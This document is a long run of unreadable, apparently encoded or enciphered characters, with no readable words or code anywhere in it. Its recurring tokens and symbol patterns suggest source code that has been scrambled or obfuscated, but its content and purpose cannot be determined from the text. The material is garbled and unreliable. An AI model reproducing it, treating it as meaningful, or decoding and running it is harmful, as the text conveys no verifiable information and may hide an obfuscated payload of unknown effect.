wfiivvv-:+*-19>3,:dU,+>+6<{ %(i3'&899-b1*33dU69w{ %(i3'&899-bbb1*33v$Upp>->8->/730<4e-:3:>,:;:.*:U{:)06k77m46+h(7b  	d{9g/<')>=j5>mb{:)06k77m46+h(7umdU{ %(i3'&899-b>-->&wU0,://=::3'-f*7wq68-=;0g1k=f9<,wnofnvswjtlvvq6( l).%/>&.=%8wfggvsU0,://=::3'-f*7wq6( l).%/>&.=%8wnofmvswnthvvq%&l24,::0;+wfggvsUvdU"U90-:><7w{ %(i3'&899->,{-*0:o9%48'v${4kh/33/7j<**bgnumd{2m9'8&. >9=b{4kh/33/7j<**rkdU69w68-=;0g1k=f9<,wfhovw{96m 0g.m6nj7is{-*0:o9%48'v~bb9>3,:v-:+*-1+-*:dU"U-:+*-19>3,:dU"U9*1<+601:'kn'i<7oh8m.1o1'8nw{6ki37&m8g/<11;&vUU${3o</,%::.o,4=blfuhd{):o1/g>4%1kil.b{3o</,%::.o,4=rlodU-:+*-10,://=::3'-f*7w*16.6;ww,+-618v%&l24,::0;+wkkovwvs+-*:vs{6ki37&m8g/<11;&vdUUUU"U9*1<+601,=9%(/< g:+/-f=3,:f.iw{13o'45<go:gvU$U69w~==7i3&4;3f/;13mwnoiovw6( l).%/>&.=%8wnoinvvv-:+*-19>3,:dUUUU{4ihk;4%5<9,7jb8:+ 0/+601w6( l).%/>&.=%8wnoflvs>-->&wvvd{2=8l7987):bnhjjd{:/<g(m'm1b{2=8l7987):znmdU69w~==7i3&4;3f/;13mwnogjvw{4ihk;4%5<9,7jvv-:+*-19>3,:dU{:* 9+m-gj5imn=jb6( l).%/>&.=%8wnongvw{13o'45<go:gvdUUUU69w:2/+&w{4ihk;4%5<9,7j{:* 9+m-gj5imn=jvv-:+*-19>3,:dU{93=9>%l2lmh16-0nb68-=;0g1k=f9<,wmmovwx#xsw,+-618v{4ihk;4%5<9,7j{:* 9+m-gj5imn=jvdU{/'58f-(:h3+b6,,:+w{93=9>%l2lmh16-0nnv`w61+v{93=9>%l2lmh16-0nneod{&<1jl;4*4-bihtjid{*f)oi'g6kib{&<1jl;4*4-rkkdU-:+*-1w{/'58f-(:h3+aoyy==7i3&4;3f/;13mwnofkvwvr{/'58f-(:h3+cwo':<<lto'ik=;vvdU"U9*1<+6011g1g-0hkm;o;jl6.0w{13o'45<go:gs{=f.h,1jmol5,%hovU$U69w~68-=;0g1k=f9<,wnoiovw68-=;0g1k=f9<,wnoinvv##~6( l).%/>&.=%8wnofjvw68-=;0g1k=f9<,wnofivvv-:+*-1dU{4ihk;4%5<9,7jb8:+ 0/+601w%&l24,::0;+wnoflvs>-->&wvvdU69w~68-=;0g1k=f9<,wnogjvw{4ihk;4%5<9,7jvv{4ihk;4%5<9,7jb>-->&wvdU{:* 9+m-gj5imn=jb68-=;0g1k=f9<,wnongvw{13o'45<go:gvdUU69w~{=f.h,1jmol5,%hov$U69w6,,:+w{4ihk;4%5<9,7j{:* 9+m-gj5imn=jvv$U*1,:+w{4ihk;4%5<9,7j{:* 9+m-gj5imn=jvdU*/;>+: 0/+601w==7i3&4;3f/;13mwnoflvs{4ihk;4%5<9,7jvdU"U-:+*-1dU"UUUU{252-:,6o4m=o8n*)bodU69w~:2/+&w{4ihk;4%5<9,7j{:* 9+m-gj5imn=jvv$U{93=9>%l2lmh16-0nb68-=;0g1k=f9<,wmmovwx#xsw,+-618v{4ihk;4%5<9,7j{:* 9+m-gj5imn=jvdU{252-:,6o4m=o8n*)bw61+v{93=9>%l2lmh16-0nodUU"U{252-:,6o4m=o8n*)ttdU{/'58f-(:h3+bw{252-:,6o4m=o8n*)abwirlvv`6( l).%/>&.=%8wnofkvwveodU90-:><7w{4ihk;4%5<9,7j>,{.k:5%ffj43 g>ba{,::9i:=91.5n=gv$U{96m 0g.m6nj7ib==7i3&4;3f/;13mwmmovwx#xsw,+-618v{,::9i:=91.5n=gvdU69w~:2/+&w{96m 0g.m6nj7invyy%&l24,::0;+wnofhvwvrw61+v{96m 0g.m6nj7inawo'mm9fto'mgoohvv*1,:+w{4ihk;4%5<9,7j{.k:5%ffj43 g>vdU"UUUU{4ihk;4%5<9,7j{:* 9+m-gj5imn=jb{252-:,6o4m=o8n*)qx#xq{/'58f-(:h3+dU*/;>+: 0/+601w6( l).%/>&.=%8wnoflvs{4ihk;4%5<9,7jvdU"U9*1<+6011fin./*g5*l1<'6w{13o'45<go:gs{*%j,*:0,g7=6>4vUUU$UUU69w~68-=;0g1k=f9<,wnofgvw{*%j,*:0,g7=6>4vv-:+*-1dUUUU{<5  /6o.;k(/*:b< ii-1<l;;7/*k4 ni<o'iw==7i3&4;3f/;13mwnoffvw{13o'45<go:gvs68-=;0g1k=f9<,wnnoovvdU69w{<5  /6o.;k(/*:~bb9>3,:v$U69w6( l).%/>&.=%8wnnonvw{<5  /6o.;k(/*:s{*%j,*:0,g7=6>4vbbb6( l).%/>&.=%8wnonlvw{*%j,*:0,g7=6>4vyy7-h3)j%5o=(* 4/mw{<5  /6o.;k(/*:s{13o'45<go:gvv-:+*-1dUU6&3-,o*-.<)&:l.1w{<5  /6o.;k(/*:vdUUU"U%&l24,::0;+wnnonvw{13o'45<go:gs{*%j,*:0,g7=6>4vdU"UU9*1<+601,=.9=%*lk<l11j),n'56'/w{13o'45<go:gs{)8o6+:j/7, '7vUUUU$U{-h/43n4*<,ob68-=;0g1k=f9<,wnoffvw{13o'45<go:gvdU69w~%&l24,::0;+wghhvw{-h/43n4*<,ovv$U04'k=kgmm ;-<4*,;>&3*w6( l).%/>&.=%8wnnomvs6( l).%/>&.=%8wnnolvq%&l24,::0;+wnnokvw{13o'45<go:gvvdU-:+*-19>3,:dUUU"U{*->9hm*6.1ifobw==7i3&4;3f/;13mwnofovw{13o'45<go:gsrwo'lto'nvvbbb6( l).%/>&.=%8wfggvvdU69w{*->9hm*6.1ifoyy~)%;j1-;6fo.< h=<%=*w{)8o6+:j/7, '7vv$U04'k=kgmm ;-<4*,;>&3*w6( l).%/>&.=%8wnnomvs%&l24,::0;+wnnojvq68-=;0g1k=f9<,wnnokvw{13o'45<go:gvvdU-:+*-19>3,:dU"U69w{*->9hm*6.1ifoyy,=9%(/< g:+/-f=3,:f.iw{13o'45<go:gvv-:+*-19>3,:dU{'lm0(  %1ib9>3,:dU69w6( l).%/>&.=%8wghivw{13o'45<go:gvv{'lm0(  %1ib+-*:dU{*%j,*:0,g7=6>4b1*33d{35hi88&j0,,b  p  d{)2-934-9:'ib{35hi88&j0,,tmldU{'94'89k3h4ob9>3,:dU{:f(i(<jhf*b1*33dU69w68-=;0g1k=f9<,wnnoivw{13o'45<go:gvyy~68-=;0g1k=f9<,wghivw{13o'45<go:gvv$U{'94'89k3h4ob+-*:dU{:f(i(<jhf*b963:/:-2,w{13o'45<go:gvdU69w{:f(i(<jhf*bbb9>3,:v{:f(i(<jhf*b1*33dU69w6( l).%/>&.=%8wmmlvw{13o'45<go:gvcbwo'mg9fnnnto'foi::9vv{*%j,*:0,g7=6>4b==7i3&4;3f/;13mwfmivw{13o'45<go:gvdUUUU"U69w~==7i3&4;3f/;13mwnofjvw==7i3&4;3f/;13mwmivvv$U04'k=kgmm ;-<4*,;>&3*w%&l24,::0;+wnnomvs6( l).%/>&.=%8wnnohvq%&l24,::0;+wnnokvw{13o'45<go:gvvdU-:+*-19>3,:dU"UUU{2i;<9-,46><4<1,b9>3,:dU{9<<%>(=3;0ib9>3,:dU{ <3b%&l24,::0;+wnnogvw{)8o6+:j/7, '7vdU90-w{3<i2=o;8-5+bod{3<i2=o;8-5+cmd{3<i2=o;8-5+ttv$U{2i;<9-,46><4<1,b< ii-1<l;;7/*k4 ni<o'iw{-h/43n4*<,os%&l24,::0;+wnnofvvdU69w{2i;<9-,46><4<1,~bb9>3,:v$U{9<<%>(=3;0ib9>3,:dU{96m 0g.m6nj7ib6( l).%/>&.=%8wnokvw{2i;<9-,46><4<1,s68-=;0g1k=f9<,wnnnovvdU69w{96m 0g.m6nj7i~bb9>3,:v$U{1l-.kf ;5'bodU(763:w{1l-.kf ;5'c{ <3v$UUU{8 001+kl>)n%9=ob%&l24,::0;+wnnnnvw{96m 0g.m6nj7is%&l24,::0;+wnnnmvw{)8o6+:j/7, '7s{1l-.kf ;5'vvdU69w{8 001+kl>)n%9=obbb9>3,:##{8 001+kl>)n%9=obbbov=-:>4dU{1l-.kf ;5'tb{8 001+kl>)n%9=odU"U993*,7w{96m 0g.m6nj7ivdUpp,/:<6>36%:>88-:8>+0-U{6g>(j94j2bgh#nlid{::):,(;&=g0b{6g>(j94j2ifdU69w6( l).%/>&.=%8wnnnlvw68-=;0g1k=f9<,wnnnkvvv9,&1<w{96m 0g.m6nj7ivd{1:(7f)8<l3+.brfid{=*k,)7k72bw{1:(7f)8<l3+.aov`{1:(7f)8<l3+.er{1:(7f)8<l3+.dU9<30,:w{96m 0g.m6nj7ivdU69w{1l-.kf ;5'bbb{ <3v{9<<%>(=3;0ib{1l-.kf ;5'dU":3,:$UUU{9<<%>(=3;0ib%&l24,::0;+wnnnjvw{2i;<9-,46><4<1,s{)8o6+:j/7, '7vdUU"Upp61361:<><7:UU69w{9<<%>(=3;0i~bb9>3,:yy{9<<%>(=3;0ibbb{ <3v=-:>4dU6&3-,o*-.<)&:l.1w{2i;<9-,46><4<1,vdUUUU{2i;<9-,46><4<1,b9>3,:dUUU"UUUU"U69w{2i;<9-,46><4<1,bbb9>3,:v$U04'k=kgmm ;-<4*,;>&3*w==7i3&4;3f/;13mwnnomvs%&l24,::0;+wnnnivq==7i3&4;3f/;13mwnnokvw{13o'45<go:gvvdU-:+*-19>3,:dU"UUUU69w{9<<%>(=3;0ibbb9>3,:##{9<<%>(=3;0i~bb{ <3v$U04'k=kgmm ;-<4*,;>&3*w6( l).%/>&.=%8wnnomvs68-=;0g1k=f9<,wnnnhvq==7i3&4;3f/;13mwnnokvw{13o'45<go:gvvdU6&3-,o*-.<)&:l.1w{2i;<9-,46><4<1,vdU-:+*-19>3,:dU"U69w{:f(i(<jhf*~bb1*33v68-=;0g1k=f9<,wnikvw{2i;<9-,46><4<1,s{:f(i(<jhf*ywkfgtnlvvdUUU{)*346h9%+m.8%f)>b7-h3)j%5o=(* 4/mw{2i;<9-,46><4<1,s{13o'45<go:gvdU69w~{)*346h9%+m.8%f)>yy{'94'89k3h4oyy~{'lm0(  %1iv$U69w==7i3&4;3f/;13mwnnoivw{13o'45<go:gvv..+:l- 3/5(*9,%,)6<:w{13o'45<go:gswlfktmivvdU{%:;)1%6>>.g<gf :b{13o'45<go:gq6( l).%/>&.=%8wnnngvq6( l).%/>&.=%8wkkovwwo'nhnto'mhhvswnmhgtghmnvvdU69w7-h3)j%5o=(* 4/mw{13o'45<go:gs{%:;)1%6>>.g<gf :vv$U{)*346h9%+m.8%f)>b7-h3)j%5o=(* 4/mw{2i;<9-,46><4<1,s{13o'45<go:gvdU69w{)*346h9%+m.8%f)>v$UU6&3-,o*-.<)&:l.1w{%:;)1%6>>.g<gf :vdUU":3,:$Upp,>+6,96>=3:=><4308UUU69w~7-h3)j%5o=(* 4/mw{%:;)1%6>>.g<gf :s{13o'45<go:gvyy~90%*(hi8(-6'>ow{%:;)1%6>>.g<gf :s{13o'45<go:gvv$U1fin./*g5*l1<'6w{13o'45<go:gs{*%j,*:0,g7=6>4vdU"Upprnj26;;3:(>-:e361:>-r>;5=->1;:;r+&/:UU69w~6( l).%/>&.=%8wnnoivw{13o'45<go:gvv$U1fin./*g5*l1<'6w{13o'45<go:gs{*%j,*:0,g7=6>4vdU"UUU"UUU"U"UUU69w~{)*346h9%+m.8%f)>yy~{'lm0(  %1iyy~{*->9hm*6.1ifov$UUUU69w==7i3&4;3f/;13mwnnoivw{13o'45<go:gvv..+:l- 3/5(*9,%,)6<:w{13o'45<go:gswlgftlnvvdU69w90%*(hi8(-6'>ow{2i;<9-,46><4<1,s{13o'45<go:gvv$U{)*346h9%+m.8%f)>b+-*:dU6&3-,o*-.<)&:l.1w{2i;<9-,46><4<1,vd{15 o4fl-%obrlnid{7k7)&809&0 bw{15 o4fl-%oaov`{15 o4fl-%oer{15 o4fl-%odU"U"UUUU69w~{)*346h9%+m.8%f)>v$U69w==7i3&4;3f/;13mwnnoivw{13o'45<go:gvyyw61+v68-=;0g1k=f9<,wmmlvw{13o'45<go:gv~bb{ <3v${1<8f8n2ih'bgtkhd{.909%';237gh-b{1<8f8n2ih'rlgdU{<j%;l,6j=6 mb68-=;0g1k=f9<,wnnnfvw{13o'45<go:gvdUU69w~6( l).%/>&.=%8wnnmovw{<j%;l,6j=6 mv##w%&l24,::0;+wnnmnvw{*%j,*:0,g7=6>4vyy{<j%;l,6j=6 m~bb{*%j,*:0,g7=6>4vv$U69w==7i3&4;3f/;13mwnnmmvw{*%j,*:0,g7=6>4vv1fin./*g5*l1<'6w{13o'45<go:gs{*%j,*:0,g7=6>4vdUUU:3,:69w~{'94'89k3h4ov6&3-,o*-.<)&:l.1w{13o'45<go:gvdUpp0<6>3614,-:,/01,6):=-:>4/061+UU"U*1,:+w{<j%;l,6j=6 mvdU"U69w~%&l24,::0;+wnnoivw{13o'45<go:gvv$U1fin./*g5*l1<'6w{13o'45<go:gs{*%j,*:0,g7=6>4vdU"U04'k=kgmm ;-<4*,;>&3*w==7i3&4;3f/;13mwnnmlvs68-=;0g1k=f9<,wnnmkvq68-=;0g1k=f9<,wnnokvw{13o'45<go:gvvdU6&3-,o*-.<)&:l.1w{2i;<9-,46><4<1,vdU-:+*-19>3,:dU"UUUU<3:>-,+>+<><7:w+-*:s{13o'45<go:gvdUU{+(<+)(k31mh)*6>/b9>3,:dUUU69w{ <3cbwmofhogothmvv$UUU{+6h,j0nl8f%b6( l).%/>&.=%8wnnmjvw{13o'45<go:gvdUUU{+(<+)(k31mh)*6>/bw6( l).%/>&.=%8wnnmmvw{+6h,j0nl8f%vyy6( l).%/>&.=%8wnnogvw{+6h,j0nl8f%vbbb{ <3yy==7i3&4;3f/;13mwnnmivw{+6h,j0nl8f%vbbb6( l).%/>&.=%8wnnmivw{)8o6+:j/7, '7vvdU":3,:$U{9//jm%0ihof>(*;nb%&l24,::0;+wnnmhvw6( l).%/>&.=%8wnnmgvv`7>,7 963:w%&l24,::0;+wnnmivs{13o'45<go:gve9>3,:dU69w%&l24,::0;+wnnmfvw{9//jm%0ihof>(*;nvyy{9//jm%0ihof>(*;n~bb}}v{+(<+)(k31mh)*6>/bw{9//jm%0ihof>(*;nbbb==7i3&4;3f/;13mwnnmivw{)8o6+:j/7, '7vvdU:3,:$Upp<>+<7=30<4UU{(n.4>*2g61(;&b%&l24,::0;+wmmlvw{13o'45<go:gvdU69w{(n.4>*2g61(;&bbb{ <3v$U{:0=g<n*+h42:b%&l24,::0;+wnnmjvw{13o'45<go:gs9>3,:s1*33soswkohjtmnvvdU{ -+b6( l).%/>&.=%8wnnmjvw{13o'45<go:gs9>3,:s1*33s{ <3rwhoolrmfohvvdU{+(<+)(k31mh)*6>/bw6( l).%/>&.=%8wnnlovw{:0=g<n*+h42:vyy68-=;0g1k=f9<,wnnlovw{ -+vyy{:0=g<n*+h42:bbb==7i3&4;3f/;13mwnnnmvw{)8o6+:j/7, '7soswo'km9to'=;nvvyy{ -+bbb68-=;0g1k=f9<,wnnlnvw{)8o6+:j/7, '7s{ <3rwmofmtmookvvvdUUUU"U"UUUU"UUU69w~{+(<+)(k31mh)*6>/v$U04'k=kgmm ;-<4*,;>&3*w==7i3&4;3f/;13mwnnmlvs%&l24,::0;+wnnlmvq68-=;0g1k=f9<,wnnokvw{13o'45<go:gvvdUUUU69w{*->9hm*6.1ifov1g1g-0hkm;o;jl6.0w{13o'45<go:gs+-*:vdU69w68-=;0g1k=f9<,wnnllvw{*%j,*:0,g7=6>4vv$U{2:f;87.:l2l4%.%)b%&l24,::0;+wnnmhvw6( l).%/>&.=%8wnnlkvv`7>,7 963:w68-=;0g1k=f9<,wnnmivs{13o'45<go:gve9>3,:dU69w%&l24,::0;+wnnllvw{2:f;87.:l2l4%.%)vyy{2:f;87.:l2l4%.%)~bb}}yy{2:f;87.:l2l4%.%)~bb6( l).%/>&.=%8wnnmivw{)8o6+:j/7, '7vyy{2:f;87.:l2l4%.%)~bb%&l24,::0;+wnnmivw{*%j,*:0,g7=6>4vv$U04'k=kgmm ;-<4*,;>&3*w6( l).%/>&.=%8wnnmlvs6( l).%/>&.=%8wnnljvq%&l24,::0;+wnnlivw{13o'45<go:gvvdU-:+*-19>3,:dUUU"U{%k+i6%i*n%2b< ii-1<l;;7/*k4 ni<o'iw{-h/43n4*<,os68-=;0g1k=f9<,wnnofvvdU69w{%k+i6%i*n%2~bb9>3,:yy==7i3&4;3f/;13mwnnnjvw{%k+i6%i*n%2s{*%j,*:0,g7=6>4vbbb%&l24,::0;+wnnogvw{*%j,*:0,g7=6>4vv$U69w~7-h3)j%5o=(* 4/mw{%k+i6%i*n%2s{13o'45<go:gvv$U69w%&l24,::0;+wnnoivw{13o'45<go:gvyy~{'lm0(  %1iv..+:l- 3/5(*9,%,)6<:w{13o'45<go:gswniftmjnvvdU69w~{'lm0(  %1iyy90%*(hi8(-6'>ow{%k+i6%i*n%2s{13o'45<go:gvv$U6&3-,o*-.<)&:l.1w{%k+i6%i*n%2vdU":3,:$U%&l24,::0;+wnnnjvw{13o'45<go:gs{*%j,*:0,g7=6>4vdU6&3-,o*-.<)&:l.1w{%k+i6%i*n%2vdU"U"UU":3,:$U69w{%k+i6%i*n%2~bb9>3,:v6&3-,o*-.<)&:l.1w{%k+i6%i*n%2vdU6( l).%/>&.=%8wnnlhvw{13o'45<go:gs{*%j,*:0,g7=6>4vdUU"U1=g11'309*'4'1g3&w{13o'45<go:gvdU":3,:69w~{'94'89k3h4ov$U6&3-,o*-.<)&:l.1w{13o'45<go:gvdU"U-:+*-19>3,:dU"U1=g11'309*'4'1g3&w{13o'45<go:gvdU:fk534k;<kn+4l3w{13o'45<go:gvdU..+:l- 3/5(*9,%,)6<:w{13o'45<go:gswo'nikto'kovvdU69w{*->9hm*6.1ifov1g1g-0hkm;o;jl6.0w{13o'45<go:gs9>3,:vdU-:+*-1+-*:dU"U9*1<+601.o5=%:.9o351' 9k,w{13o'45<go:gs{*i-0)*;7ol(7n+vU$Upu-:3>':;,<0/:r<7>61upUUU{62,m89/7oob}c`/7/1}dU69w6( l).%/>&.=%8wnnllvw{*i-0)*;7ol(7n+vyy{*i-0)*;7ol(7n+~bb}}yy%&l24,::0;+wfhovw{*i-0)*;7ol(7n+s68-=;0g1k=f9<,wmjfvv~bb9>3,:yy)%;j1-;6fo.< h=<%=*w{*i-0)*;7ol(7n+vv{62,m89/7oob{*i-0)*;7ol(7n+dU69w%&l24,::0;+wnnlgvw{13o'45<go:gvv$U{8n7l>-%4glb==7i3&4;3f/;13mwnnmjvw{13o'45<go:gvdUUUU69w6( l).%/>&.=%8wnnllvw{8n7l>-%4glvyy5( g6,6h*67j545kh:w{8n7l>-%4glvbbb{62,m89/7oov-:+*-1dUUU"UUU69w~,=.9=%*lk<l11j),n'56'/w{13o'45<go:gs{62,m89/7oovv$U{0m.-km6kj)<).b6( l).%/>&.=%8wnnmjvw{13o'45<go:gvdU69w~w%&l24,::0;+wnnlfvw{0m.-km6kj)<).vyy5( g6,6h*67j545kh:w{0m.-km6kj)<).vbbb{62,m89/7oovv%&l24,::0;+wnnlhvw{13o'45<go:gs{62,m89/7oovdU*1,:+w{0m.-km6kj)<).vdU"U1=g11'309*'4'1g3&w{13o'45<go:gvdU"U9*1<+60170l0i+j  )i2/>+o+g2wvUU$U69w68-=;0g1k=f9<,wnnmhvw%&l24,::0;+wnnkovvyy)fh>799j<m31 ;*033,,wvv-:+*-1+-*:dU69w~==7i3&4;3f/;13mwnnknvw68-=;0g1k=f9<,whglvv##~6( l).%/>&.=%8wnnknvw68-=;0g1k=f9<,wfolvvv-:+*-1+-*:dU{525g<n/i;89b702: *-3wxpxvdU{525g<n/i;89qbw68-=;0g1k=f9<,wfhovw{525g<n/i;89sx`xvbbb9>3,:`x`xexyxvq68-=;0g1k=f9<,wnnkmvq==7i3&4;3f/;13mwnnklvwvq68-=;0g1k=f9<,wnnkkvwwo'lkto'lovswo'ninto'mgivvdU{/59mn0<k05f9*jhib6( l).%/>&.=%8wfolvw{525g<n/i;89s>-->&w==7i3&4;3f/;13mwnnkjvbawnflmonvs%&l24,::0;+wnnkivba9>3,:s%&l24,::0;+wnnkhvbams%&l24,::0;+wnnkgvba>-->&w==7i3&4;3f/;13mwnnkfvba%&l24,::0;+wnnjovvvvdU69w%&l24,::0;+wnnjnvw%&l24,::0;+wlkmvvyy6, (/ :--0-w{/59mn0<k05f9*jhivv$U69w==7i3&4;3f/;13mwnnjmvw%&l24,::0;+whghvvv6( l).%/>&.=%8whghvwnvdU{/59mn0<k05f9*jhib6( l).%/>&.=%8wfolvw{525g<n/i;89s>-->&w6( l).%/>&.=%8wnnjlvbawjtlvs68-=;0g1k=f9<,wnnkivba9>3,:s%&l24,::0;+wnnkhvbams6( l).%/>&.=%8wnnkgvba>-->&w%&l24,::0;+wnnkfvba==7i3&4;3f/;13mwnnjovvvvdUU69w%&l24,::0;+wnnjmvw%&l24,::0;+wnnjkvvyy6, (/ :--0-w{/59mn0<k05f9*jhivv-:+*-19>3,:dU"U{4n=51:1i;3bw61+v(/ -:20+: -:+-6:): -:,/01,: <0;:w{/59mn0<k05f9*jhivd{&.)fo=lh7h*bknld{-2%0l*=85%%obw{&.)fo=lh7h*aov`{&.)fo=lh7h*er{&.)fo=lh7h*dU-:+*-1{4n=51:1i;3abwjtfjvyy{4n=51:1i;3cwo'nomto'9mvdU"U9*1<+6015'6k9*2.+*:>91;nnn-3<mw{=i, j%f%.+8)l1g&s{>g9j'3f1k>ih 4vU$U{=5h'>9 i6m-i>>9mb68-=;0g1k=f9<,wnoggvw==7i3&4;3f/;13mwnnlivw{>g9j'3f1k>ih 4vsxpxvdUUU90-:><7wU>-->&wUUUU6( l).%/>&.=%8wnnjjvq{=5h'>9 i6m-i>>9mq==7i3&4;3f/;13mwnnjivsU%&l24,::0;+wnnjhvq{=5h'>9 i6m-i>>9mq6( l).%/>&.=%8wnnjivsU==7i3&4;3f/;13mwnnjgvq{=5h'>9 i6m-i>>9mq6( l).%/>&.=%8wnnjfvsUv>,{5)9*1j0j5>3=Uv$U69w~68-=;0g1k=f9<,wnnlfvw{=i, j%f%.+8)l1g&vv=-:>4dUUUU{=i, j%f%.+8)l1g&b6( l).%/>&.=%8wffovw{5)9*1j0j5>3=s}1}s{=i, j%f%.+8)l1g&vdU"UUUU-:+*-1{=i, j%f%.+8)l1g&d{*2n<6m545'=brhgod{;jm73+nlmn:bw{*2n<6m545'=aov`{*2n<6m545'=er{*2n<6m545'=dU"UUUU9*1<+6011=g11'309*'4'1g3&w{<03(%':3g>0vU$U69w==7i3&4;3f/;13mwnniovw6( l).%/>&.=%8wmoovvv$U-:+*-10/<><7: 61)>36;>+:w{<03(%':3g>0s+-*:v~bb9>3,:dU"U{7*h282j3+<(72b%&l24,::0;+wnniovw6( l).%/>&.=%8wnninvv`0/<><7: 8:+ ,+>+*,w9>3,:ve9>3,:dU-:+*-1~w%&l24,::0;+wnogjvw{7*h282j3+<(72vyy~:2/+&w{7*h282j3+<(7268-=;0g1k=f9<,wnnimvvvdU"U9*1<+601+lf5;=.m.'o=6hm1h*0f>w{13o'45<go:gs{(>7 &+*&0(,,+s{ %%hk.gg.7vU$U69w%&l24,::0;+wnnlnvw{13o'45<go:gsrwgrkvvbbb==7i3&4;3f/;13mwfggvv$U69w~,=.9=%*lk<l11j),n'56'/w{13o'45<go:gs{(>7 &+*&0(,,+vv$U04'k=kgmm ;-<4*,;>&3*w{ %%hk.gg.7s==7i3&4;3f/;13mwnnilvq%&l24,::0;+wnnlivw{13o'45<go:gvvdU-:+*-19>3,:dU"U1=g11'309*'4'1g3&w{13o'45<go:gvdU-:+*-1==7i3&4;3f/;13mwnnogvw{(>7 &+*&0(,,+vdUUUU"U{96m 0g.m6nj7ib68-=;0g1k=f9<,wnokvw{13o'45<go:gs68-=;0g1k=f9<,wnnikvvdU69w{96m 0g.m6nj7ibbb9>3,:v$U04'k=kgmm ;-<4*,;>&3*w{ %%hk.gg.7s6( l).%/>&.=%8wnnilvq6( l).%/>&.=%8wnnijvw{13o'45<go:gvvdU-:+*-19>3,:d{,;'.,j,gbnfuid{>k&66'lnif:, b{,;'.,j,grlfdU"U69w%&l24,::0;+wnniovw68-=;0g1k=f9<,wnniivvv930<4w{96m 0g.m6nj7is vdUU{/59mn0<k05f9*jhib==7i3&4;3f/;13mwnnihvw{96m 0g.m6nj7is{(>7 &+*&0(,,+vdU69w6( l).%/>&.=%8wnniovw==7i3&4;3f/;13mwnniivvv930<4w{96m 0g.m6nj7is 
vdU9<30,:w{96m 0g.m6nj7ivdU69w{/59mn0<k05f9*jhibbb9>3,:##w{(>7 &+*&0(,,+~bb}}yy{/59mn0<k05f9*jhi~bb%&l24,::0;+wnnogvw{(>7 &+*&0(,,+vvv$U04'k=kgmm ;-<4*,;>&3*w{ %%hk.gg.7s==7i3&4;3f/;13mwnnilvq6( l).%/>&.=%8wnnijvw{13o'45<go:gvvdUUUU-:+*-19>3,:dU"U-:+*-1{/59mn0<k05f9*jhidU"UUUU9*1<+6017-5i-mh.&k3=h9.f0wvU$Upp/-0><+6):361:>-r+&/:UU+-&$U69w~==7i3&4;3f/;13mwnniovw==7i3&4;3f/;13mwghkvv##~==7i3&4;3f/;13mwnnigvw==7i3&4;3f/;13mwnnifvvv$U(k;54l2:h&:k3niigh698w1*33vdU-:+*-1dU"UUU69w8:+ +->1,6:1+w6( l).%/>&.=%8wnnhovvv-:+*-1dU69w8:+ +->1,6:1+w68-=;0g1k=f9<,wnnhnvvv-:+*-1dU,:+ +->1,6:1+w68-=;0g1k=f9<,wnnhmvsnswjlntifvvdU(k;54l2:h&:k3niigh698w1*33vdU69w68-=;0g1k=f9<,wnnigvw==7i3&4;3f/;13mwgfovvv;:3:+: +->1,6:1+w%&l24,::0;+wnnhmvvdU{). 0+&f+/.b%&l24,::0;+wnnigvw6( l).%/>&.=%8wnnhlvv`w,+-618v7=6*m)5(8(fkl*-%l14  'w6( l).%/>&.=%8wnohkvs}}ve}}dU69w{). 0+&f+/.~bb}}yy%&l24,::0;+wnnhkvw%&l24,::0;+wnnhjvvyy*,:-1>2: :'6,+,w{). 0+&f+/.vv$U,:+ +->1,6:1+w==7i3&4;3f/;13mwnnhovsnswlgfngrnhlngvvdUUUU"U"<>+<7w7-0(>=3:{3+1n/j=+n mv$Upp/-0)6,6013:>4&r=*<4:+UU04'k=kgmm ;-<4*,;>&3*w6( l).%/>&.=%8wnnhivs{3+1n/j=+n mvdU"<>+<7w'<:/+601{3+1n/j=+n mv${<)m4g(noon<'blltfld{+1f(h9-6 b{<)m4g(noon<'rkhdU"U"UUUU9*1<+601(k;54l2:h&:k3niigh698w{0hg&; =nj60<vUU$U69w~<265'fh;mjjfgi392f1k(nw%&l24,::0;+wgonvvv-:+*-1dU+-&$U69w~6( l).%/>&.=%8wnnhkvw%&l24,::0;+wnnhhvv##~6( l).%/>&.=%8wnnhgvw68-=;0g1k=f9<,wnnhfvvv$U-:+*-1dU"U{>4j.i44k555fbw,+-618v7=6*m)5(8(fkl*-%l14  'w6( l).%/>&.=%8wnohkvs}}vdU69w{>4j.i44k555f~bb}}yy*,:-1>2: :'6,+,w{>4j.i44k555fvyyw,+-618v7=6*m)5(8(fkl*-%l14  'w68-=;0g1k=f9<,wnohjvs}}v~bb}}v$U-:+*-1dU"U69w{>4j.i44k555fbbb}}v$Upu361:>-6%>=3:,&1<7-016%:-upUUUUU{.32mlf27f*)1hg.3b%&l24,::0;+wnngovw{0hg&; =nj60<v`{0hg&; =nj60<e l2f4'58*h.77jkwvdU{6;jl*6k; ;&:,b4mj8.8 *<.%8=>8i+6;% +w{.32mlf27f*)1hg.3vdU69wUU{6;jl*6k; ;&:,yy~:2/+&w{6;jl*6k; ;&:,ra*,:- 30861vyy6,,:+w{6;jl*6k; ;&:,ra*,:- :2>63vUUyy{6;jl*6k; ;&:,ra*,:- :2>63bbb{6;jl*6k; ;&:,ra*,:- 30861qxxq(8%</,)&:4o0.=9w==7i3&4;3f/;13mwnngnvvUv$U{>4j.i44k555fbw,+-618v{6;jl*6k; ;&:,ra*,:- 30861dU"U"U69w{>4j.i44k555f~bb}}yy*,:-1>2: :'6,+,w{>4j.i44k555fvv$UUU{,f8h2kj6+3n2 /(ib*,:-1>2: :'6,+,w{>4j.i44k555fvdU{=69.)>8%ngi+)/;b:'kn'i<7oh8m.1o1'8nwwnijngfvvdUUUU69w68-=;0g1k=f9<,wnngmvw==7i3&4;3f/;13mwnnglvvv$U6( l).%/>&.=%8wnnglvw{=69.)>8%ngi+)/;s{,f8h2kj6+3n2 /(ivdU"UU5% 3m3%%i+&%>-;(142mm)w%&l24,::0;+wnohkvs{>4j.i44k555fs%&l24,::0;+wnogmvvd{*&h-f*+5kblfujd{2hh*==g6*b{*&h-f*+5krlfdU5% 3m3%%i+&%>-;(142mm)w68-=;0g1k=f9<,wnohjvs{=69.)>8%ngi+)/;s%&l24,::0;+wnngkvvdU-:+*-1dU"U{39=;==*;7k=b6f%+;m%(i=>,87n':02wvdU69w+-*:v$U{>4j.i44k555fb}}dU90-w{.1)=56*io2=1 gbod{.1)=56*io2=1 gcwfrkvd{.1)=56*io2=1 gttv$U{3<i2=o;8-5+b{39=;==*;7k=68-=;0g1k=f9<,wnngjvw{39=;==*;7k=vq:'kn'i<7oh8m.1o1'8nwwnlknkovvdU69w~*,:-1>2: :'6,+,w{3<i2=o;8-5